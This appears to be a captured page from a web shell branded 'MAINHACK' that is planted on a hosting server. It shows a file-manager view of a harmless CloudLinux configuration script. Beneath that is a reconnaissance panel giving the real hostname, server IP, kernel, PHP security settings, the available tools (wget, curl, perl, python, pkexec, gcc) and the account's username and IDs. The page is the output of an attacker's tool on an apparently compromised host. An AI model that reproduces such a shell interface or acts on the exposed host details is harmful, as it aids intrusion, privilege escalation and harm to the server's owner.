[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: cloudlinux-reconfigure.py
File is not writable. Editing disabled.
#!/opt/cloudlinux/venv/bin/python -bb # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # https://cloudlinux.com/docs/LICENCE.TXT # import argparse import enum import logging import sys from clcommon.lib import cledition from clconfigure import setup_logger from clconfigure.spec import admin, shared, shared_pro, solo from lve_utils.sentry import init_lve_utils_sentry_client LOGS_PATH = '/var/log/cloudlinux/clcustomizer.log' class TargetEdition(enum.Enum): ADMIN = 'admin' AUTO = 'auto' SHARED = 'shared' SHARED_PRO = 'shared_pro' SOLO = 'solo' def _resolve_auto_target(): """ Resolves edition for 'auto' target. """ if cledition.is_cl_solo_edition(): return TargetEdition.SOLO.value if cledition.is_cl_admin_edition(): return TargetEdition.ADMIN.value if cledition.is_cl_shared_edition(): return TargetEdition.SHARED.value if cledition.is_cl_shared_pro_edition(): return TargetEdition.SHARED_PRO.value raise NotImplementedError() def main(): """ Entry point for this program. Parses arguments and calls needed methods. """ setup_logger(None, LOGS_PATH) logging.debug('Executing "%s"', ' '.join(sys.argv)) parser = argparse.ArgumentParser() subparsers = parser.add_subparsers(dest='action') reconfigure = subparsers.add_parser('reconfigure') reconfigure.add_argument('-t', '--target', choices=[e.value for e in TargetEdition], required=True) preconfigure = subparsers.add_parser('preconfigure') preconfigure.add_argument('-t', '--target', choices=[e.value for e in TargetEdition], required=True) args = parser.parse_args() if args.action is None: parser.print_help() return target = _resolve_auto_target() if args.target == 'auto' else args.target handlers = { TargetEdition.SOLO.value: solo, TargetEdition.ADMIN.value: admin, TargetEdition.SHARED.value: shared, TargetEdition.SHARED_PRO.value: shared_pro, } handler = handlers.get(target) if handler is None: raise ValueError(f'Unknown target {target}') actions = { 'reconfigure': 'provision', 'preconfigure': 'preprovision' } action = actions.get(args.action) if action is None: raise ValueError(f"Unknown action {args.action}") getattr(handler, action)(edition=target) if __name__ == '__main__': logging.basicConfig(level=logging.INFO) init_lve_utils_sentry_client('clconfigure') try: main() finally: logging.info('You can find complete logs of the operation here: %s', LOGS_PATH)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A